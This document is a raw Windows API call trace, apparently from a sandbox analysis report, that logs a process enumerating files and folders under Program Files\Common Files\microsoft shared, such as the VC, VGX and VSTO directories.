	[0242.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0xc000117548 | out: lpFindFileData=0xc000117548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd4c0
	[0242.010] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.010] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.010] FindClose (in: hFindFile=0x192c63cd4c0 | out: hFindFile=0x192c63cd4c0) returned 1
	[0242.011] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0242.013] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.013] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1
	[0242.014] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1
	[0242.014] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.014] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0242.014] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0242.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50)) returned 1
	[0242.027] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50)) returned 1
	[0242.050] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.050] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.051] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.051] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1
	[0242.051] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.052] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.052] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0242.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000)) returned 1
	[0242.055] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.056] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.057] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0242.057] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0242.057] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1
	[0242.057] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1
	[0242.057] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.057] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.057] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0242.057] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0xc000117548 | out: lpFindFileData=0xc000117548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0242.075] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.075] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0242.076] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0242.076] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0242.076] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1
	[0242.076] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.076] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0242.081] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0xc000117470 | out: lpFindFileData=0xc000117470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.094] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001174a0 | out: lpFindFileData=0xc0001174a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.094] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001174a0 | out: lpFindFileData=0xc0001174a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1
